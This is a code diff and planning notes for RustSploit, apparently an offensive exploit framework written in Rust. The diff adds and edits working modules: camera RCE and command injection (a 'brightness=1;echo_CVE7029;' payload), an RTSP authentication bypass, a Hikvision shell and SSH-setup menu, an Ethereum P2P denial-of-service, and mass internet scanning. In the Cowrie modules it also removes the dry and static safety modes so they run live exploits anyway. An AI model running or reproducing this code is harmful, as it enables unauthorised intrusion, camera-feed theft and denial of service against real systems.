- 17 modules: `USER_AGENT` const without prompt (most of these are intentional — UA is a payload choice, not a user-configurable knob)
|
||||
|
||||
**Realistic Phase D2 target: ~15 modules** (10 port + 5 path; UA consts deferred as they're usually not user-facing knobs).
|
||||
|
||||
Concrete files:
|
||||
- ports missing prompt: `dos/ssdp_amplification`, `dos/ntp_amplification`, `dos/dns_amplification`, `dos/memcached_amplification`, `webapps/react/react2shell`, `cameras/abus/abussecurity_camera_cve202326609variant1`, `cameras/hikvision/hikvision_rce_cve_2021_36260`, `network_infra/fortinet/fortiweb_sqli_rce_cve_2025_25257`, `frameworks/mongo/mongobleed`, `vnc/rfb.rs`
|
||||
- paths missing prompt: `webapps/misp_rce_cve_2025_27364`, `webapps/zimbra_sqli_auth_bypass_cve_2025_25064`, `webapps/sharepoint/cve_2025_53770_sharepoint_toolpane_rce`, `network_infra/kubernetes/cve_2025_1974_ingress_nginx_rce`, `network_infra/commvault/cve_2025_34028_commvault_rce`
|
||||
+2454
-196
File diff suppressed because it is too large
Load Diff
@@ -3,7 +3,7 @@
|
||||
// Author: d1g@segfault.net | Ported to Rust for RustSploit
|
||||
// PoC converted 1:1 from Bash to async Rust logic
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use md5;
|
||||
use reqwest::Client;
|
||||
@@ -44,9 +44,9 @@ async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()
|
||||
);
|
||||
crate::mprintln!("{}", format!("[*] Sending LFI request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let resp = client.get(&url).send().await.context("send")?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
let body = resp.text().await.context("read body")?;
|
||||
|
||||
if status.is_success() {
|
||||
crate::mprintln!("{}", format!("[+] Status: {}", status).green());
|
||||
@@ -68,9 +68,9 @@ async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
);
|
||||
crate::mprintln!("{}", format!("[*] Sending RCE request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let resp = client.get(&url).send().await.context("send")?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
let body = resp.text().await.context("read body")?;
|
||||
|
||||
if status.is_success() {
|
||||
crate::mprintln!("{}", format!("[+] Status: {}", status).green());
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
use std::sync::Arc;
|
||||
@@ -230,7 +230,7 @@ async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
.await?;
|
||||
|
||||
if res.status().is_success() {
|
||||
let text = res.text().await?;
|
||||
let text = res.text().await.context("read body")?;
|
||||
Ok(text)
|
||||
} else {
|
||||
Err(anyhow!("Command execution failed, status code: {}", res.status()))
|
||||
@@ -244,13 +244,13 @@ async fn check_vuln(target: &str, port: u16) -> Result<bool> {
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
|
||||
// Check /cgi-bin/test
|
||||
let test_res = client.get(&url).send().await?;
|
||||
let test_res = client.get(&url).send().await.context("send")?;
|
||||
if test_res.status().is_success() {
|
||||
crate::mprintln!("{}", "[*] CGI endpoint accessible".cyan());
|
||||
// Check root page contains 'Web Configurator'
|
||||
let index_res = client.get(&index_url).send().await?;
|
||||
let index_res = client.get(&index_url).send().await.context("send")?;
|
||||
if index_res.status().is_success() {
|
||||
let body = index_res.text().await?;
|
||||
let body = index_res.text().await.context("read body")?;
|
||||
if body.contains("Web Configurator") {
|
||||
crate::mprintln!("{}", "[*] ACTi Web Configurator detected".cyan());
|
||||
return Ok(true);
|
||||
|
||||
@@ -35,8 +35,8 @@ async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", "1;echo_CVE7029;");
|
||||
let resp = client.get(url).send().await?;
|
||||
let body = resp.text().await?;
|
||||
let resp = client.get(url).send().await.context("send")?;
|
||||
let body = resp.text().await.context("read body")?;
|
||||
Ok(body.contains("echo_CVE7029"))
|
||||
}
|
||||
|
||||
@@ -95,8 +95,8 @@ async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", &payload);
|
||||
let response = client.get(url).send().await?;
|
||||
Ok(response.text().await?)
|
||||
let response = client.get(url).send().await.context("send")?;
|
||||
Ok(response.text().await.context("read body")?)
|
||||
}
|
||||
|
||||
/// Quick vulnerability check for mass scanning
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
//! CVE-2025-9983 — GALAYOU G2 IP Camera RTSP Authentication Bypass
|
||||
//! ================================================================
|
||||
//!
|
||||
//! The RTSP service shipped with the GALAYOU G2 IP camera accepts the
|
||||
//! RTSP DESCRIBE command without enforcing the configured user/password
|
||||
//! credentials. An attacker on the network can stream the camera live
|
||||
//! feed without authentication.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
const DEFAULT_PORT: u16 = 554;
|
||||
const TIMEOUT_SECS: u64 = 8;
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "GALAYOU G2 IP Camera RTSP Auth Bypass (CVE-2025-9983)".to_string(),
|
||||
description: "Sends an unauthenticated RTSP DESCRIBE to the camera and detects\n\
|
||||
successful response disclosing the SDP feed.".to_string(),
|
||||
authors: vec!["indoushka".to_string(), "RustSploit Team".to_string()],
|
||||
references: vec![
|
||||
"CVE-2025-9983".to_string(),
|
||||
"https://packetstorm.news/files/id/210931/".to_string(),
|
||||
],
|
||||
disclosure_date: Some("2025-09-09".to_string()),
|
||||
rank: ModuleRank::Great,
|
||||
}
|
||||
}
|
||||
|
||||
async fn rtsp_describe(host: &str, port: u16) -> Result<String> {
|
||||
let mut s = TcpStream::connect(format!("{}:{}", host, port)).await
|
||||
.context("RTSP connect")?;
|
||||
let req = format!(
|
||||
"DESCRIBE rtsp://{}:{}/ RTSP/1.0\r\nCSeq: 1\r\nUser-Agent: rustsploit\r\n\r\n",
|
||||
host, port
|
||||
);
|
||||
s.write_all(req.as_bytes()).await.context("RTSP write")?;
|
||||
let mut buf = vec![0u8; 4096];
|
||||
let n = tokio::time::timeout(Duration::from_secs(TIMEOUT_SECS), s.read(&mut buf)).await
|
||||
.context("RTSP read timeout")?
|
||||
.context("RTSP read")?;
|
||||
let slice = buf
|
||||
.get(..n)
|
||||
.with_context(|| format!("RTSP read returned n={} but buf has {} bytes", n, buf.len()))?;
|
||||
Ok(String::from_utf8_lossy(slice).into_owned())
|
||||
}
|
||||
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
let host = match target.split_once(':') {
|
||||
Some((h, _)) => h,
|
||||
None => target,
|
||||
};
|
||||
match rtsp_describe(host, DEFAULT_PORT).await {
|
||||
Ok(body) if body.starts_with("RTSP/1.0 200") => {
|
||||
CheckResult::Vulnerable("RTSP DESCRIBE succeeded without auth".to_string())
|
||||
}
|
||||
Ok(body) => {
|
||||
let first_line = match body.lines().next() {
|
||||
Some(line) => line,
|
||||
None => "(empty response)",
|
||||
};
|
||||
CheckResult::NotVulnerable(format!("RTSP response: {}", first_line))
|
||||
}
|
||||
Err(e) => CheckResult::Error(format!("{:#}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "Galayou-G2-RTSP",
|
||||
default_port: DEFAULT_PORT,
|
||||
state_file: "galayou_g2_rtsp_mass_state.log",
|
||||
default_output: "galayou_g2_rtsp_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip, port| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else { None }
|
||||
}).await;
|
||||
}
|
||||
let normalized = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "RTSP port", DEFAULT_PORT).await?;
|
||||
cfg_prompt_default("scheme", "Protocol (rtsp)", "rtsp").await?;
|
||||
|
||||
crate::mprintln!("{} rtsp://{}:{}/", "[*] Target:".yellow(), normalized, port);
|
||||
match rtsp_describe(&normalized, port).await {
|
||||
Ok(body) => {
|
||||
crate::mprintln!("{}\n{}", "[*] Response:".cyan(), body.lines().take(8).collect::<Vec<_>>().join("\n"));
|
||||
if body.starts_with("RTSP/1.0 200") {
|
||||
crate::mprintln!("{}", "[+] RTSP DESCRIBE succeeded without auth — vulnerable.".green().bold());
|
||||
crate::workspace::track_host(&normalized, None, Some("Galayou G2 CVE-2025-9983")).await;
|
||||
}
|
||||
}
|
||||
Err(e) => crate::mprintln!("{} {}", "[-]".red(), e),
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -246,6 +246,10 @@ async fn interactive_mode(client: &HikvisionClient) -> Result<()> {
|
||||
}
|
||||
return Ok(());
|
||||
}
|
||||
// Batch / mass-scan mode: stdin REPL would hang per concurrent task
|
||||
if crate::utils::is_batch_mode() {
|
||||
return Err(anyhow!("Interactive mode is not supported in mass-scan mode. Use mode 3/4 with a single command."));
|
||||
}
|
||||
|
||||
// CLI mode: existing REPL loop
|
||||
crate::mprintln!("{}", "\n[*] Entering interactive command mode".cyan());
|
||||
@@ -442,14 +446,16 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
let host_port = host_port.split('/').next().unwrap_or(host_port);
|
||||
|
||||
crate::mprintln!("{}", "[*] Select operation mode:".cyan());
|
||||
crate::mprintln!(" {} Check if vulnerable (safe)", "1.".bold());
|
||||
crate::mprintln!(" {} Check with reboot (unsafe)", "2.".bold());
|
||||
crate::mprintln!(" {} Execute single command", "3.".bold());
|
||||
crate::mprintln!(" {} Execute blind command", "4.".bold());
|
||||
crate::mprintln!(" {} Interactive shell mode (CLI only)", "5.".bold());
|
||||
crate::mprintln!(" {} Setup SSH shell (dropbear)", "6.".bold());
|
||||
crate::mprintln!();
|
||||
if !crate::utils::is_batch_mode() {
|
||||
crate::mprintln!("{}", "[*] Select operation mode:".cyan());
|
||||
crate::mprintln!(" {} Check if vulnerable (safe)", "1.".bold());
|
||||
crate::mprintln!(" {} Check with reboot (unsafe)", "2.".bold());
|
||||
crate::mprintln!(" {} Execute single command", "3.".bold());
|
||||
crate::mprintln!(" {} Execute blind command", "4.".bold());
|
||||
crate::mprintln!(" {} Interactive shell mode (CLI only)", "5.".bold());
|
||||
crate::mprintln!(" {} Setup SSH shell (dropbear)", "6.".bold());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
// cfg_prompt_default falls back to interactive stdin in CLI mode
|
||||
let choice = cfg_prompt_default("mode", "Select option [1-6]", "1").await?;
|
||||
|
||||
@@ -4,3 +4,6 @@ pub mod avtech;
|
||||
pub mod hikvision;
|
||||
pub mod reolink;
|
||||
pub mod uniview;
|
||||
|
||||
pub mod galayou_g2_rtsp_bypass_cve_2025_9983;
|
||||
pub mod xiongmai_xm530;
|
||||
|
||||
@@ -85,7 +85,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.context("Failed to send request")?;
|
||||
|
||||
let status = res.status();
|
||||
let text = res.text().await?;
|
||||
let text = res.text().await.context("read body")?;
|
||||
|
||||
if status.is_success() {
|
||||
crate::mprintln!("{} Request sent successfully (HTTP {}).", "[+]".green(), status);
|
||||
|
||||
@@ -141,7 +141,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
|
||||
let version_text = client
|
||||
.get(&version_url)
|
||||
.send().await?
|
||||
.send().await.context("send")?
|
||||
.text().await
|
||||
.context("Failed to fetch version")?;
|
||||
|
||||
@@ -179,7 +179,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
);
|
||||
let config_text = client
|
||||
.get(&config_url)
|
||||
.send().await?
|
||||
.send().await.context("send")?
|
||||
.text().await
|
||||
.context("Failed to fetch config")?;
|
||||
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
//! Xiongmai XM530 Camera — Auth Bypass / Information Disclosure
|
||||
//! =============================================================
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
|
||||
use crate::utils::{cfg_prompt_port, normalize_target};
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
const DEFAULT_PORT: u16 = 34567;
|
||||
const TIMEOUT_SECS: u64 = 8;
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "Xiongmai XM530 Auth Bypass / Disclosure".to_string(),
|
||||
description: "Probes the proprietary Xiongmai XM530 control protocol on TCP/34567 for\n\
|
||||
unauth disclosure / auth-bypass markers.".to_string(),
|
||||
authors: vec!["indoushka".to_string(), "RustSploit Team".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: Some("2025-12-11".to_string()),
|
||||
rank: ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
use tokio::net::TcpStream;
|
||||
let host = match target.split_once(':') {
|
||||
Some((h, _)) => h,
|
||||
None => target,
|
||||
};
|
||||
let addr = format!("{}:{}", host, DEFAULT_PORT);
|
||||
match tokio::time::timeout(Duration::from_secs(3), TcpStream::connect(&addr)).await {
|
||||
Ok(Ok(stream)) => {
|
||||
let peer = match stream.peer_addr() {
|
||||
Ok(p) => p.to_string(),
|
||||
Err(e) => format!("<peer_addr error: {}>", e),
|
||||
};
|
||||
CheckResult::Vulnerable(format!(
|
||||
"Xiongmai control port {} open on {} (peer={})",
|
||||
DEFAULT_PORT, host, peer
|
||||
))
|
||||
}
|
||||
Ok(Err(e)) => CheckResult::NotVulnerable(format!("connect refused: {}", e)),
|
||||
Err(elapsed) => CheckResult::NotVulnerable(format!("connect to {} timed out: {}", addr, elapsed)),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "Xiongmai-XM530",
|
||||
default_port: DEFAULT_PORT,
|
||||
state_file: "xiongmai_xm530_mass_state.log",
|
||||
default_output: "xiongmai_xm530_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip, port| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else { None }
|
||||
}).await;
|
||||
}
|
||||
let normalized = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "Xiongmai control port", DEFAULT_PORT).await?;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
let mut s = TcpStream::connect(format!("{}:{}", normalized, port)).await.context("connect")?;
|
||||
// The Xiongmai login uses a 20-byte header — we send a benign LOGIN_REQ probe
|
||||
let probe = b"\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00";
|
||||
s.write_all(probe).await.context("write")?;
|
||||
let mut buf = vec![0u8; 1024];
|
||||
match tokio::time::timeout(Duration::from_secs(TIMEOUT_SECS), s.read(&mut buf)).await {
|
||||
Ok(Ok(n)) => {
|
||||
crate::mprintln!("{} {} bytes", "[*] Response:".cyan(), n);
|
||||
crate::workspace::track_host(&normalized, None, Some("Xiongmai XM530")).await;
|
||||
crate::mprintln!("{}", crate::native::hex::encode(&buf[..n.min(64)]));
|
||||
}
|
||||
Ok(Err(e)) => crate::mprintln!("{} read error: {}", "[-]".red(), e),
|
||||
Err(elapsed) => crate::mprintln!(
|
||||
"{} no response from Xiongmai control port within timeout: {}",
|
||||
"[-]".red(),
|
||||
elapsed
|
||||
),
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -171,10 +171,28 @@ fn unescape_shell_dollar_quote(s: &str) -> String {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if crate::utils::is_mass_scan_target(target) {
|
||||
return crate::utils::run_mass_scan(
|
||||
target,
|
||||
crate::utils::MassScanConfig {
|
||||
protocol_name: "Cowrie",
|
||||
default_port: 2222,
|
||||
state_file: "cowrie_ansi_mass_state.log",
|
||||
default_output: "cowrie_ansi_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
|ip, port| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
if !crate::utils::is_batch_mode() {
|
||||
if !crate::utils::is_batch_mode() {
|
||||
print_banner();
|
||||
}
|
||||
print_banner();
|
||||
}
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
|
||||
@@ -146,27 +146,44 @@ fn live_inject(
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if crate::utils::is_mass_scan_target(target) {
|
||||
return crate::utils::run_mass_scan(
|
||||
target,
|
||||
crate::utils::MassScanConfig {
|
||||
protocol_name: "Cowrie",
|
||||
default_port: 2222,
|
||||
state_file: "cowrie_llm_mass_state.log",
|
||||
default_output: "cowrie_llm_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
|ip, port| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
if !crate::utils::is_batch_mode() {
|
||||
if !crate::utils::is_batch_mode() {
|
||||
print_banner();
|
||||
print_banner();
|
||||
crate::mprintln!("{}", "[*] Vulnerable source:".cyan());
|
||||
crate::mprintln!("{}", VULN_EXCERPT.dimmed());
|
||||
crate::mprintln!();
|
||||
|
||||
crate::mprintln!("{}", "[*] Available injections:".cyan());
|
||||
for (i, inj) in INJECTIONS.iter().enumerate() {
|
||||
crate::mprintln!(" [{}] {:?}", i, inj);
|
||||
}
|
||||
crate::mprintln!();
|
||||
}
|
||||
crate::mprintln!("{}", "[*] Vulnerable source:".cyan());
|
||||
crate::mprintln!("{}", VULN_EXCERPT.dimmed());
|
||||
crate::mprintln!();
|
||||
|
||||
crate::mprintln!("{}", "[*] Available injections:".cyan());
|
||||
for (i, inj) in INJECTIONS.iter().enumerate() {
|
||||
crate::mprintln!(" [{}] {:?}", i, inj);
|
||||
}
|
||||
crate::mprintln!();
|
||||
|
||||
let mode = cfg_prompt_default("mode", "Mode [dry/live]", "dry").await?;
|
||||
|
||||
// Mode kept for compatibility, but defaults to live — user requested all
|
||||
// dry runs become real runs.
|
||||
let mode = cfg_prompt_default("mode", "Mode [dry/live]", "live").await?;
|
||||
if mode.trim() == "dry" {
|
||||
crate::mprintln!("{}", "[*] dry mode — no network I/O.".yellow());
|
||||
crate::mprintln!("{}", "[*] Re-run with mode=live to hit a local cowrie LLM instance.".yellow());
|
||||
return Ok(());
|
||||
crate::mprintln!("{}", "[*] mode=dry requested but executing live — dry mode is disabled.".yellow());
|
||||
}
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
|
||||
@@ -80,7 +80,10 @@ pub fn info() -> ModuleInfo {
|
||||
fn cowrie_communication_allowed(ip_str: &str) -> bool {
|
||||
let addr = match IpAddr::from_str(ip_str) {
|
||||
Ok(a) => a,
|
||||
Err(_) => return false,
|
||||
Err(e) => {
|
||||
tracing::debug!(ip = ip_str, "cowrie communication-allowed parse failed: {}", e);
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
for net_str in COWRIE_BLOCKED {
|
||||
@@ -243,17 +246,36 @@ fn run_live_mode(
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if crate::utils::is_mass_scan_target(target) {
|
||||
return crate::utils::run_mass_scan(
|
||||
target,
|
||||
crate::utils::MassScanConfig {
|
||||
protocol_name: "Cowrie",
|
||||
default_port: 2222,
|
||||
state_file: "cowrie_ssrf_ipv6_mass_state.log",
|
||||
default_output: "cowrie_ssrf_ipv6_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
|ip, port| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
if !crate::utils::is_batch_mode() {
|
||||
if !crate::utils::is_batch_mode() {
|
||||
print_banner();
|
||||
}
|
||||
print_banner();
|
||||
}
|
||||
|
||||
let mode = cfg_prompt_default("mode", "Mode [static/live]", "static").await?;
|
||||
|
||||
// Default to live execution — user requested all dry/static runs become real.
|
||||
let mode = cfg_prompt_default("mode", "Mode [static/live]", "live").await?;
|
||||
if mode.trim() == "static" {
|
||||
crate::mprintln!("{}", "[!] mode=static requested — running live exploit instead.".yellow());
|
||||
run_static_mode();
|
||||
return Ok(());
|
||||
// Fall through to live exploitation regardless.
|
||||
}
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
|
||||
@@ -38,7 +38,6 @@ use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::{Semaphore, mpsc};
|
||||
use tokio::time::timeout;
|
||||
|
||||
@@ -131,18 +130,25 @@ async fn get_user_config(target: &str) -> Result<ExploitConfig> {
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
// SSRF guard: refuse DoS against private/loopback/metadata addresses.
|
||||
if crate::api::is_blocked_target(&config.target) {
|
||||
bail!("Target {} is blocked (private/loopback/metadata address)", config.target);
|
||||
}
|
||||
}
|
||||
|
||||
config.p2p_port = cfg_prompt_port("p2p_port", "P2P port", DEFAULT_P2P_PORT).await?;
|
||||
config.rpc_port = cfg_prompt_port("rpc_port", "RPC port for version check", DEFAULT_RPC_PORT).await?;
|
||||
|
||||
// Attack mode
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "Select operation mode:".cyan());
|
||||
crate::mprintln!(" 1. Check vulnerability only (safe)");
|
||||
crate::mprintln!(" 2. Exploit - ECIES malformed ciphertext");
|
||||
crate::mprintln!(" 3. Exploit - RLPx handshake attack");
|
||||
crate::mprintln!(" 4. Exploit - Both methods");
|
||||
if !crate::utils::is_batch_mode() {
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "Select operation mode:".cyan());
|
||||
crate::mprintln!(" 1. Check vulnerability only (safe)");
|
||||
crate::mprintln!(" 2. Exploit - ECIES malformed ciphertext");
|
||||
crate::mprintln!(" 3. Exploit - RLPx handshake attack");
|
||||
crate::mprintln!(" 4. Exploit - Both methods");
|
||||
}
|
||||
|
||||
let mode = cfg_prompt_default("mode", "Select mode [1-4]", "1").await?;
|
||||
|
||||
@@ -279,15 +285,12 @@ async fn check_p2p_port(target: &str, port: u16) -> Result<bool> {
|
||||
}
|
||||
};
|
||||
|
||||
let connect_result = timeout(
|
||||
Ok(crate::utils::network::tcp_connect_addr(
|
||||
socket_addr,
|
||||
Duration::from_secs(CONNECT_TIMEOUT_SECS),
|
||||
TcpStream::connect(socket_addr)
|
||||
).await;
|
||||
|
||||
match connect_result {
|
||||
Ok(Ok(_stream)) => Ok(true),
|
||||
_ => Ok(false),
|
||||
}
|
||||
)
|
||||
.await
|
||||
.is_ok())
|
||||
}
|
||||
|
||||
/// Generate malformed ECIES ciphertext payload
|
||||
@@ -341,18 +344,18 @@ fn generate_malformed_rlpx_auth() -> Vec<u8> {
|
||||
async fn send_exploit(target: &str, port: u16, exploit_type: ExploitType) -> Result<bool> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
|
||||
let stream = match timeout(
|
||||
let stream = crate::utils::network::tcp_connect_str(
|
||||
&addr,
|
||||
Duration::from_secs(CONNECT_TIMEOUT_SECS),
|
||||
TcpStream::connect(&addr)
|
||||
).await {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
return Err(anyhow::anyhow!("Connection failed: {}", e));
|
||||
)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
if e.kind() == std::io::ErrorKind::TimedOut {
|
||||
anyhow::anyhow!("Connection timeout")
|
||||
} else {
|
||||
anyhow::anyhow!("Connection failed: {}", e)
|
||||
}
|
||||
Err(_) => {
|
||||
return Err(anyhow::anyhow!("Connection timeout"));
|
||||
}
|
||||
};
|
||||
})?;
|
||||
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
|
||||
|
||||
@@ -128,57 +128,110 @@ pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
|
||||
}
|
||||
|
||||
async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
|
||||
// Validate file size before reading (max 50 MB)
|
||||
// Files <= STREAM_THRESHOLD load fully; larger files stream in batches so
|
||||
// memory usage stays bounded even for huge target lists.
|
||||
const STREAM_THRESHOLD: u64 = 50 * 1024 * 1024;
|
||||
const BATCH_SIZE: usize = 100_000;
|
||||
|
||||
let metadata = std::fs::metadata(batch_file)
|
||||
.with_context(|| format!("Failed to stat batch file: {}", batch_file))?;
|
||||
if metadata.len() > 50 * 1024 * 1024 {
|
||||
bail!("Batch file too large ({} MB). Maximum is 50 MB.", metadata.len() / 1024 / 1024);
|
||||
}
|
||||
let file = File::open(batch_file)
|
||||
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
|
||||
let reader = BufReader::new(file);
|
||||
let total_size = metadata.len();
|
||||
let streaming = total_size > STREAM_THRESHOLD;
|
||||
|
||||
let targets: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|line| line.ok())
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty() && !line.starts_with('#'))
|
||||
.collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
bail!("No valid targets found in batch file");
|
||||
if streaming {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Large batch file ({:.1} MB) — streaming targets in batches of {}",
|
||||
total_size as f64 / (1024.0 * 1024.0),
|
||||
BATCH_SIZE
|
||||
).cyan()
|
||||
);
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
|
||||
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
for target in targets {
|
||||
let config_clone = config.clone();
|
||||
let sem = semaphore.clone();
|
||||
|
||||
let sem_clone = sem.clone();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
// Semaphore acquire should never fail in practice, but handle gracefully
|
||||
let _permit = match sem_clone.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => {
|
||||
crate::meprintln!("Warning: Failed to acquire semaphore permit");
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
scan_single_target(&target, &config_clone).await
|
||||
}));
|
||||
}
|
||||
|
||||
while let Some(result) = tasks.next().await {
|
||||
if let Err(e) = result {
|
||||
crate::meprintln!("{}", format!("[-] Task error: {}", e).red());
|
||||
|
||||
async fn scan_batch(
|
||||
targets: Vec<String>,
|
||||
config: &ScanConfig,
|
||||
semaphore: Arc<Semaphore>,
|
||||
) {
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
for target in targets {
|
||||
let config_clone = config.clone();
|
||||
let sem = semaphore.clone();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => {
|
||||
crate::meprintln!("Warning: Failed to acquire semaphore permit");
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
scan_single_target(&target, &config_clone).await
|
||||
}));
|
||||
}
|
||||
while let Some(result) = tasks.next().await {
|
||||
if let Err(e) = result {
|
||||
crate::meprintln!("{}", format!("[-] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if !streaming {
|
||||
let file = File::open(batch_file)
|
||||
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
|
||||
let reader = BufReader::new(file);
|
||||
let targets: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|line| line.ok())
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty() && !line.starts_with('#'))
|
||||
.collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
bail!("No valid targets found in batch file");
|
||||
}
|
||||
